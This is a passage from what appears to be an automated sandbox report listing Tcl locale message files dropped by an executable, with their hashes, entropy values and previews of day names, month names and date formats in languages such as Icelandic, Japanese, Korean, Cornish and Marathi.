C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\is.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1255
Entropy (8bit):	4.391152464169964
Encrypted:	false
SSDEEP:	24:4azu8qVXVDWpXMVmDz1ZVcWVzbQ1/xZ9b3eYXvhv3eT3:462hVW5JDz1ZVUbpfV83
MD5:	6695839F1C4D2A92552CB1647FD14DA5
SHA1:	04CB1976846A78EA9593CB3706C9D61173CE030C
SHA-256:	6767115FFF2DA05F49A28BAD78853FAC6FC716186B985474D6D30764E1727C40
SHA-512:	208766038A6A1D748F4CB2660F059AD355A5439EA6D8326F4F410B2DFBBDEECB55D4CE230C01C519B08CAB1CF5E5B3AC61E7BA86020A7BDA1AFEA624F3828521
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset is DAYS_OF_WEEK_ABBREV [list \. "sun."\. "m\u00e1n."\. "\u00feri."\. "mi\u00f0."\. "fim."\. "f\u00f6s."\. "lau."]. ::msgcat::mcset is DAYS_OF_WEEK_FULL [list \. "sunnudagur"\. "m\u00e1nudagur"\. "\u00feri\u00f0judagur"\. "mi\u00f0vikudagur"\. "fimmtudagur"\. "f\u00f6studagur"\. "laugardagur"]. ::msgcat::mcset is MONTHS_ABBREV [list \. "jan."\. "feb."\. "mar."\. "apr."\. "ma\u00ed"\. "j\u00fan."\. "j\u00fal."\. "\u00e1g\u00fa."\. "sep."\. "okt."\. "n\u00f3v."\. "des."\. ""]. ::msgcat::mcset is MONTHS_FULL [list \. "jan\u00faar"\. "febr\u00faar"\. "mars"\. "apr\u00edl"\. "ma\u00ed"\. "j\u00fan\u00ed"\. "j\u00fal\u00ed"\. "\u00e1g\u00fast"\.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\it.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	4.207511774275323
Encrypted:	false
SSDEEP:	24:4azu8iYJcc8jYShjLhQ6I3S68gvNvlNUhsFNlVGvNmv5svc:46Wi38jBJLhQ6I3EgFtNo4NlVGlw5Kc
MD5:	8E205D032206D794A681E2A994532FA6
SHA1:	47098672D339624474E8854EB0512D54A0CA49E7
SHA-256:	C7D84001855586A0BAB236A6A5878922D9C4A2EA1799BF18544869359750C0DF
SHA-512:	139219DBD014CCA15922C45C7A0468F62E864F18CC16C7B8506258D1ECD766E1EFF6EAE4DFDAF72898B9AF1A5E6CE8D7BB0F1A93A6604D2539F2645C9ED8D146
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset it DAYS_OF_WEEK_ABBREV [list \. "dom"\. "lun"\. "mar"\. "mer"\. "gio"\. "ven"\. "sab"]. ::msgcat::mcset it DAYS_OF_WEEK_FULL [list \. "domenica"\. "luned\u00ec"\. "marted\u00ec"\. "mercoled\u00ec"\. "gioved\u00ec"\. "venerd\u00ec"\. "sabato"]. ::msgcat::mcset it MONTHS_ABBREV [list \. "gen"\. "feb"\. "mar"\. "apr"\. "mag"\. "giu"\. "lug"\. "ago"\. "set"\. "ott"\. "nov"\. "dic"\. ""]. ::msgcat::mcset it MONTHS_FULL [list \. "gennaio"\. "febbraio"\. "marzo"\. "aprile"\. "maggio"\. "giugno"\. "luglio"\. "agosto"\. "settembre"\. "ottobre"\. "novembre"\. "dicembre"\. ""]. ::msgcat::mcset it BCE "aC". ::msgc

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\it_ch.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	244
Entropy (8bit):	4.851375233848049
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoi5jLWNLoyJ+3vULoia+3vjLtA6:4EnLzu8m3WNJ+3v23v3t3
MD5:	8666E24230AED4DC76DB93BE1EA07FF6
SHA1:	7C688C8693C76AEE07FB32637CD58E47A85760F3
SHA-256:	2EE356FFA2491A5A60BDF7D7FEBFAC426824904738615A0C1D07AEF6BDA3B76F
SHA-512:	BCCE87FB94B28B369B9EE48D792A399DB8250D0D3D73FC05D053276A7475229EF1555D5E516D780092496F0E5F229A9912A45FB5A88C024FCEBF08E654D37B07
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset it_CH DATE_FORMAT "%e. %B %Y". ::msgcat::mcset it_CH TIME_FORMAT "%H:%M:%S". ::msgcat::mcset it_CH DATE_TIME_FORMAT "%e. %B %Y %H:%M:%S %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ja.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	4.88149888596689
Encrypted:	false
SSDEEP:	24:4azu8VcQHxbtVLKMwvtFwvQv4fTweLvDvTwS0Zu+jqgv:46RbItt4mCEebzES0njqq
MD5:	430DEB41034402906156D7E23971CD2C
SHA1:	0952FFBD241B5111714275F5CD8FB5545067FFEC
SHA-256:	38DCA9B656241884923C451A369B90A9F1D76F9029B2E98E04784323169C3251
SHA-512:	AE5DF1B79AE34DF4CC1EB00406FFF49541A95E2C732E3041CCE321F2F3FA6461BB45C6524A5FEB77E18577206CBD88A83FBF20B4B058BAE9B889179C93221557
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ja DAYS_OF_WEEK_ABBREV [list \. "\u65e5"\. "\u6708"\. "\u706b"\. "\u6c34"\. "\u6728"\. "\u91d1"\. "\u571f"]. ::msgcat::mcset ja DAYS_OF_WEEK_FULL [list \. "\u65e5\u66dc\u65e5"\. "\u6708\u66dc\u65e5"\. "\u706b\u66dc\u65e5"\. "\u6c34\u66dc\u65e5"\. "\u6728\u66dc\u65e5"\. "\u91d1\u66dc\u65e5"\. "\u571f\u66dc\u65e5"]. ::msgcat::mcset ja MONTHS_FULL [list \. "1\u6708"\. "2\u6708"\. "3\u6708"\. "4\u6708"\. "5\u6708"\. "6\u6708"\. "7\u6708"\. "8\u6708"\. "9\u6708"\. "10\u6708"\. "11\u6708"\. "12\u6708"]. ::msgcat::mcset ja BCE "\u7d00\u5143\u524d". ::msgcat::mcset ja CE "\u897f\u66a6". ::msgcat::mcset ja AM "\u5348\u524d". ::msgcat::mcset ja PM "\u5348\u5f8c". ::msgcat::mcset ja DATE_FORMAT "%Y/%m/%

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\kl.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.013253613061898
Encrypted:	false
SSDEEP:	24:4azu83jGeo9sbjCjS3jCwjLj+zSsS9CfzTA2Qcl:46OOsJzTvl
MD5:	AE55E001BBE3272CE13369C836139EF3
SHA1:	D912A0AEBA08BC97D80E9B7A55CE146956C90BCC
SHA-256:	1B00229DF5A979A040339BBC72D448F39968FEE5CC24F07241C9F6129A9B53DD
SHA-512:	E53E8DB56AD367E832A121D637CA4755E6C8768C063E4BE43E6193C5F71ED7AA10F7223AC85750C0CAD543CF4A0BFE578CBA2877F176A5E58DCA2BAA2F7177FB
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset kl DAYS_OF_WEEK_ABBREV [list \. "sab"\. "ata"\. "mar"\. "pin"\. "sis"\. "tal"\. "arf"]. ::msgcat::mcset kl DAYS_OF_WEEK_FULL [list \. "sabaat"\. "ataasinngorneq"\. "marlunngorneq"\. "pingasunngorneq"\. "sisamanngorneq"\. "tallimanngorneq"\. "arfininngorneq"]. ::msgcat::mcset kl MONTHS_ABBREV [list \. "jan"\. "feb"\. "mar"\. "apr"\. "maj"\. "jun"\. "jul"\. "aug"\. "sep"\. "okt"\. "nov"\. "dec"\. ""]. ::msgcat::mcset kl MONTHS_FULL [list \. "januari"\. "februari"\. "martsi"\. "aprili"\. "maji"\. "juni"\. "juli"\. "augustusi"\. "septemberi"\. "oktoberi"\. "novemberi"\. "decemberi"\. ""].}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\kl_gl.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	279
Entropy (8bit):	4.83493357349932
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoEpb53FD/LoEpLE3vG5oEpLE3v6X5oEpba+3vnFDoAov:4EnLzu8KF3FD/1w3vMw3v6T/3v9dy
MD5:	4B8E5B6EB7C27A02DBC0C766479B068D
SHA1:	E97A948FFE6C8DE99F91987155DF0A81A630950E
SHA-256:	F99DA45138A8AEBFD92747FC28992F0C315C6C4AD97710EAF9427263BFFA139C
SHA-512:	D726494A6F4E1FB8C71B8B56E9B735C1837D8D22828D006EF386E41AD15CD1E4CF14DAC01966B9AFE41F7B6A44916EFC730CF038B4EC393043AE9021D11DACF2
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset kl_GL DATE_FORMAT "%d %b %Y". ::msgcat::mcset kl_GL TIME_FORMAT "%T". ::msgcat::mcset kl_GL TIME_FORMAT_12 "%T". ::msgcat::mcset kl_GL DATE_TIME_FORMAT "%a %d %b %Y %T %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ko.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1566
Entropy (8bit):	4.552910804130986
Encrypted:	false
SSDEEP:	24:4azu8cVBfHVnYgY+YGkYeY02Y7YkMXjDHMXjqKKyvtuvFd8vUPvwEq:46ojlmpYEY7XjDsXj+0t4zaU3wt
MD5:	A4C37AF81FC4AA6003226A95539546C1
SHA1:	A18A7361783896C691BD5BE8B3A1FCCCCB015F43
SHA-256:	F6E2B0D116D2C9AC90DDA430B6892371D87A4ECFB6955318978ED6F6E9D546A6
SHA-512:	FBE6BA258C250BD90FADCC42AC18A17CC4E7B040F160B94075AF1F42ECD43EEA6FE49DA52CF9B5BBB5D965D6AB7C4CC4053A78E865241F891E13F94EB20F0472
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ko DAYS_OF_WEEK_ABBREV [list \. "\uc77c"\. "\uc6d4"\. "\ud654"\. "\uc218"\. "\ubaa9"\. "\uae08"\. "\ud1a0"]. ::msgcat::mcset ko DAYS_OF_WEEK_FULL [list \. "\uc77c\uc694\uc77c"\. "\uc6d4\uc694\uc77c"\. "\ud654\uc694\uc77c"\. "\uc218\uc694\uc77c"\. "\ubaa9\uc694\uc77c"\. "\uae08\uc694\uc77c"\. "\ud1a0\uc694\uc77c"]. ::msgcat::mcset ko MONTHS_ABBREV [list \. "1\uc6d4"\. "2\uc6d4"\. "3\uc6d4"\. "4\uc6d4"\. "5\uc6d4"\. "6\uc6d4"\. "7\uc6d4"\. "8\uc6d4"\. "9\uc6d4"\. "10\uc6d4"\. "11\uc6d4"\. "12\uc6d4"\. ""]. ::msgcat::mcset ko MONTHS_FULL [list \. "1\uc6d4"\. "2\uc6d4"\. "3\uc6d4"\. "4\uc6d4"\. "5\uc6d4"\. "6\uc6d4"\. "7\uc6d4"\. "8\uc6d4"\.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ko_kr.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.015790750376121
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmo56SFZhjNo56m5Ybo56TGMZo56a/W3v6mfvLo56TT+3vOAEP:4EnLzu8r62vjs6m5YS6TGN6a+3v6o66J
MD5:	9C7E97A55A957AB1D1B5E988AA514724
SHA1:	592F8FF9FABBC7BF48539AF748DCFC9241AED82D
SHA-256:	31A4B74F51C584354907251C55FE5CE894D2C9618156A1DC6F5A979BC350DB17
SHA-512:	9D04DF2A87AFE24C339E1A0F6358FE995CBCAF8C7B08A1A7953675E2C2C1EDBCAF297B23C2B9BEC398DFEE6D1D75CE32E31389A7199466A38BC83C8DBBA67C77
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ko_KR BCE "\uae30\uc6d0\uc804". ::msgcat::mcset ko_KR CE "\uc11c\uae30". ::msgcat::mcset ko_KR DATE_FORMAT "%Y.%m.%d". ::msgcat::mcset ko_KR TIME_FORMAT_12 "%P %l:%M:%S". ::msgcat::mcset ko_KR DATE_TIME_FORMAT "%Y.%m.%d %P %l:%M:%S %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\kok.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1958
Entropy (8bit):	4.1451019501109965
Encrypted:	false
SSDEEP:	24:4azu8Z448VcOVczWdSVcqVcR0q4vTqBBiXCVcqVcR0q4vTqBBiaMv:46u48h0qpBBaR0qpBBVu
MD5:	E7938CB3AF53D42B4142CB104AB04B3B
SHA1:	6205BD2336857F368CABF89647F54D94E093A77B
SHA-256:	D236D5B27184B1E813E686D901418117F22D67024E6944018FC4B633DF9FF744
SHA-512:	CE77CE2EC773F3A1A3CD68589C26F7089E8133ADE601CE899EEB0B13648051344A94E69AEC2C8C58349456E52B11EB7545C8926E3F08DB643EE551C641FF38DB
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset kok DAYS_OF_WEEK_FULL [list \. "\u0906\u0926\u093f\u0924\u094d\u092f\u0935\u093e\u0930"\. "\u0938\u094b\u092e\u0935\u093e\u0930"\. "\u092e\u0902\u0917\u0933\u093e\u0930"\. "\u092c\u0941\u0927\u0935\u093e\u0930"\. "\u0917\u0941\u0930\u0941\u0935\u093e\u0930"\. "\u0936\u0941\u0915\u094d\u0930\u0935\u093e\u0930"\. "\u0936\u0928\u093f\u0935\u093e\u0930"]. ::msgcat::mcset kok MONTHS_ABBREV [list \. "\u091c\u093e\u0928\u0947\u0935\u093e\u0930\u0940"\. "\u092b\u0947\u092c\u0943\u0935\u093e\u0930\u0940"\. "\u092e\u093e\u0930\u094d\u091a"\. "\u090f\u092a\u094d\u0930\u093f\u0932"\. "\u092e\u0947"\. "\u091c\u0942\u0928"\. "\u091c\u0941\u0932\u0948"\. "\u0913\u0917\u0938\u094d\u091f"\. "\u0938\u0947\u092a\u094d\u091f\u0947\u0902\u092c\u0930"\. "\u0913\u0915\u094d\u091f\u094b\u092c\u0

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\kok_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	254
Entropy (8bit):	4.8580653411441155
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmo5VsNv+9/Lo5VsU3v6rZo5VsNo+3v+6f6HK:4EnLzu8rVsNvWiVsU3v6rAVsNF3vmq
MD5:	A3B27D44ED430AEC7DF2A47C19659CC4
SHA1:	700E4B9C395B540BFCE9ABDC81E6B9B758893DC9
SHA-256:	BEE07F14C7F4FC93B62AC318F89D2ED0DD6FF30D2BF21C2874654FF0292A6C4B
SHA-512:	79E9D8B817BDB6594A7C95991B2F6D7571D1C2976E74520D28223CF9F05EAA2128A44BC83A94089F09011FFCA9DB5E2D4DD74B59DE2BADC022E1571C595FE36C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset kok_IN DATE_FORMAT "%d %M %Y". ::msgcat::mcset kok_IN TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset kok_IN DATE_TIME_FORMAT "%d %M %Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\kw.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	966
Entropy (8bit):	3.9734955453120504
Encrypted:	false
SSDEEP:	12:4EnLzu8z4md0eKwCW44mtls79cp32AqghoPx9ab43gWgw3SeWOdSyECYf5AQZ0eD:4azu806vCmgs7aB2seFkhq+9
MD5:	413A264B40EEBEB28605481A3405D27D
SHA1:	9C2EFA6326C62962DCD83BA8D16D89616D2C5B77
SHA-256:	F49F4E1C7142BF7A82FC2B9FC075171AE45903FE69131478C15219D72BBAAD33
SHA-512:	CF0559DB130B8070FEC93A64F5317A2C9CDE7D5EAFD1E92E76EAAE0740C6429B7AB7A60BD833CCA4ABCC0AADEBC6A68F854FF654E0707091023D275404172427
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset kw DAYS_OF_WEEK_ABBREV [list \. "Sul"\. "Lun"\. "Mth"\. "Mhr"\. "Yow"\. "Gwe"\. "Sad"]. ::msgcat::mcset kw DAYS_OF_WEEK_FULL [list \. "De Sul"\. "De Lun"\. "De Merth"\. "De Merher"\. "De Yow"\. "De Gwener"\. "De Sadorn"]. ::msgcat::mcset kw MONTHS_ABBREV [list \. "Gen"\. "Whe"\. "Mer"\. "Ebr"\. "Me"\. "Evn"\. "Gor"\. "Est"\. "Gwn"\. "Hed"\. "Du"\. "Kev"\. ""]. ::msgcat::mcset kw MONTHS_FULL [list \. "Mys Genver"\. "Mys Whevrel"\. "Mys Merth"\. "Mys Ebrel"\. "Mys Me"\. "Mys Evan"\. "Mys Gortheren"\. "Mye Est"\. "Mys Gwyngala"\. "Mys Hedra"\. "Mys Du"\. "Mys Kevardhu"\. ""].}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\kw_gb.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.914818138642697
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoh6AvvNLoh633v6aZoh6Ao+3vR6HK:4EnLzu8z6AvvN6633v6aY6AF3voq
MD5:	D325ADCF1F81F40D7B5D9754AE0542F3
SHA1:	7A6BCD6BE5F41F84B600DF355CB00ECB9B4AE8C0
SHA-256:	7A8A539C8B990AEFFEA06188B98DC437FD2A6E89FF66483EF334994E73FD0EC9
SHA-512:	A05BBB3F80784B9C8BBA3FE618FEE154EE40D240ED4CFF7CD6EEE3D97BC4F065EFF585583123F1FFD8ABA1A194EB353229E15ED5CD43759D4D356EC5BE8DCD73
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset kw_GB DATE_FORMAT "%d %B %Y". ::msgcat::mcset kw_GB TIME_FORMAT_12 "%l:%M:%S %P". ::msgcat::mcset kw_GB DATE_TIME_FORMAT "%d %B %Y %l:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\lt.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1255
Entropy (8bit):	4.4416408590245
Encrypted:	false
SSDEEP:	24:4azu8FHYI4/+HYZoNPW43VvJZb3lSuRnixx/x5JfbiMQeTVYkG2CvRksvQ:46hHNHhu43VxZb3lSuRwxZ5VbiMQeTVL
MD5:	73F0A9C360A90CB75C6DA7EF87EF512F
SHA1:	582EB224C9715C8336B4D1FCE7DDEC0D89F5AD71
SHA-256:	510D8EED3040B50AFAF6A3C85BC98847F1B4D5D8A685C5EC06ACC2491B890101
SHA-512:	B5482C7448BFC44B05FCF7EB0642B0C7393F4438082A507A94C13F56F12A115A5CE7F0744518BB0B2FAF759D1AD7744B0BEDB98F563C2A4AB11BC4619D7CEA22
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset lt DAYS_OF_WEEK_ABBREV [list \. "Sk"\. "Pr"\. "An"\. "Tr"\. "Kt"\. "Pn"\. "\u0160t"]. ::msgcat::mcset lt DAYS_OF_WEEK_FULL [list \. "Sekmadienis"\. "Pirmadienis"\. "Antradienis"\. "Tre\u010diadienis"\. "Ketvirtadienis"\. "Penktadienis"\. "\u0160e\u0161tadienis"]. ::msgcat::mcset lt MONTHS_ABBREV [list \. "Sau"\. "Vas"\. "Kov"\. "Bal"\. "Geg"\. "Bir"\. "Lie"\. "Rgp"\. "Rgs"\. "Spa"\. "Lap"\. "Grd"\. ""]. ::msgcat::mcset lt MONTHS_FULL [list \. "Sausio"\. "Vasario"\. "Kovo"\. "Baland\u017eio"\. "Gegu\u017e\u0117s"\. "Bir\u017eelio"\. "Liepos"\. "Rugpj\u016b\u010dio"\. "Rugs\u0117jo"\. "Spalio"\. "Lapkri\u010dio"\. "G

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\lv.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1219
Entropy (8bit):	4.39393801727056
Encrypted:	false
SSDEEP:	24:4azu8lmZG0me3AEcGo49bJcpF9gT9PCbF5uld0vVcASAr8svJ5vk3:46TGAE8Q/PG5dv//Lk3
MD5:	D5DEB8EFFE6298858F9D1B9FAD0EA525
SHA1:	973DF40D0464BCE10EB5991806D9990B65AB0F82
SHA-256:	FD95B38A3BEBD59468BDC2890BAC59DF31C352E17F2E77C82471E1CA89469802
SHA-512:	F024E3D6D30E8E5C3316364A905C8CCAC87427BFC2EC10E72065F1DD114A112A61FDECDF1C4EC9C3D8BB9A54D18ED4AE9D57B07DA4AFFE480DE12F3D54BED928
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset lv DAYS_OF_WEEK_ABBREV [list \. "Sv"\. "P"\. "O"\. "T"\. "C"\. "Pk"\. "S"]. ::msgcat::mcset lv DAYS_OF_WEEK_FULL [list \. "sv\u0113tdiena"\. "pirmdiena"\. "otrdiena"\. "tre\u0161diena"\. "ceturdien"\. "piektdiena"\. "sestdiena"]. ::msgcat::mcset lv MONTHS_ABBREV [list \. "Jan"\. "Feb"\. "Mar"\. "Apr"\. "Maijs"\. "J\u016bn"\. "J\u016bl"\. "Aug"\. "Sep"\. "Okt"\. "Nov"\. "Dec"\. ""]. ::msgcat::mcset lv MONTHS_FULL [list \. "janv\u0101ris"\. "febru\u0101ris"\. "marts"\. "apr\u012blis"\. "maijs"\. "j\u016bnijs"\. "j\u016blijs"\. "augusts"\. "septembris"\. "oktobris"\. "novembris"\. "decembris"\. ""]. ::msgcat

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\mk.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2105
Entropy (8bit):	4.237536682442766
Encrypted:	false
SSDEEP:	48:46UcQdZnlcQfAQPWQEHKr9nGUeDjDpxpWQ1Q3QuQoQLX9TSQ2QIQPQHp7+8i:hNdR7cr9nMvXI0i7F89TSn1KX
MD5:	CD589758D4F4B522781A10003D3E1791
SHA1:	D953DD123D54B02BAF4B1AE0D36081CDFCA38444
SHA-256:	F384DD88523147CEF42AA871D323FC4CBEE338FF67CC5C95AEC7940C0E531AE3
SHA-512:	2EA1E71CD1E958F83277006343E85513D112CBB3C22CBFF29910CB1FC37F2389B3F1DCB2533EC59F9E642624869E5C61F289FDC010B55C6EECEF378F2D92DB0B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset mk DAYS_OF_WEEK_ABBREV [list \. "\u043d\u0435\u0434."\. "\u043f\u043e\u043d."\. "\u0432\u0442."\. "\u0441\u0440\u0435."\. "\u0447\u0435\u0442."\. "\u043f\u0435\u0442."\. "\u0441\u0430\u0431."]. ::msgcat::mcset mk DAYS_OF_WEEK_FULL [list \. "\u043d\u0435\u0434\u0435\u043b\u0430"\. "\u043f\u043e\u043d\u0435\u0434\u0435\u043b\u043d\u0438\u043a"\. "\u0432\u0442\u043e\u0440\u043d\u0438\u043a"\. "\u0441\u0440\u0435\u0434\u0430"\. "\u0447\u0435\u0442\u0432\u0440\u0442\u043e\u043a"\. "\u043f\u0435\u0442\u043e\u043a"\. "\u0441\u0430\u0431\u043e\u0442\u0430"]. ::msgcat::mcset mk MONTHS_ABBREV [list \. "\u0458\u0430\u043d."\. "\u0444\u0435\u0432."\. "\u043c\u0430\u0440."\. "\u0430\u043f\u0440."\. "\u043c\u0430\u0458."\. "\u0458\u0443\u043d."\. "\u0458\

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\mr.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1807
Entropy (8bit):	4.160320823510059
Encrypted:	false
SSDEEP:	24:4azu8ocYe48VcOVczyVczoRSVcqVcR0q4vTqBBiPNVcqVcR0q4vTqBBil:46R48h0qpBBkI0qpBBe
MD5:	791408BAE710B77A27AD664EC3325E1C
SHA1:	E760B143A854838E18FFB66500F4D312DD80634E
SHA-256:	EB2E2B7A41854AF68CEF5881CF1FBF4D38E70D2FAB2C3F3CE5901AA5CC56FC15
SHA-512:	FE91EF67AB9313909FE0C29D5FBE2298EE35969A26A63D94A406BFDA7BCF932F2211F94C0E3C1D718DBC2D1145283C768C23487EEB253249ACFE76E8D1F1D1E5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset mr DAYS_OF_WEEK_FULL [list \. "\u0930\u0935\u093f\u0935\u093e\u0930"\. "\u0938\u094b\u092e\u0935\u093e\u0930"\. "\u092e\u0902\u0917\u0933\u0935\u093e\u0930"\. "\u092e\u0902\u0917\u0933\u0935\u093e\u0930"\. "\u0917\u0941\u0930\u0941\u0935\u093e\u0930"\. "\u0936\u0941\u0915\u094d\u0930\u0935\u093e\u0930"\. "\u0936\u0928\u093f\u0935\u093e\u0930"]. ::msgcat::mcset mr MONTHS_ABBREV [list \. "\u091c\u093e\u0928\u0947\u0935\u093e\u0930\u0940"\. "\u092b\u0947\u092c\u0943\u0935\u093e\u0930\u0940"\. "\u092e\u093e\u0930\u094d\u091a"\. "\u090f\u092a\u094d\u0930\u093f\u0932"\. "\u092e\u0947"\. "\u091c\u0942\u0928"\. "\u091c\u0941\u0932\u0948"\. "\u0913\u0917\u0938\u094d\u091f"\. "\u0938\u0947\u092a\u094d\u091f\u0947\u0902\u092c\u0930"\. "\u0913\u0915\u094d\u091f\u094b\u092c\u0930"\.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\mr_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.847742455062573
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoGNv+9/LoGU3v6rZoGNo+3v+6f6HK:4EnLzu8GvWe3v6r5F3vmq
MD5:	899E845D33CAAFB6AD3B1F24B3F92843
SHA1:	FC17A6742BF87E81BBD4D5CB7B4DCED0D4DD657B
SHA-256:	F75A29BB323DB4354B0C759CB1C8C5A4FFC376DFFD74274CA60A36994816A75C
SHA-512:	99D05FCE8A9C9BE06FDA8B54D4DE5497141F6373F470B2AB24C2D00B9C56031350F5DCDA2283A0E6F5B09FF21218FC3C7E2A6AB8ECC5BB020546FD62BDC8FF99
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset mr_IN DATE_FORMAT "%d %M %Y". ::msgcat::mcset mr_IN TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset mr_IN DATE_TIME_FORMAT "%d %M %Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ms.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	910
Entropy (8bit):	3.9292866027924838
Encrypted:	false
SSDEEP:	12:4EnLzu82mCBuvFYcEfmt1qWjefjESRsToOqrlHvFguSixTRs1OAfC67:4azu82nBuHEfKxjeby7cl9gbZUAfCc
MD5:	441CC737D383D8213F64B62A5DBEEC3E
SHA1:	34FBE99FB25A0DCA2FDA2C008AC8127BA2BC273B
SHA-256:	831F611EE851A64BF1BA5F9A5441EC1D50722FA9F15B4227707FE1927F754DE4
SHA-512:	0474B2127890F63814CD9E77D156B5E4FC45EB3C17A57719B672AC9E3A6EEA9934F0BE158F76808B34A11DA844AB900652C18E512830278DFED2666CD005FBE5
Malicious:	false
Reputation:	unknown
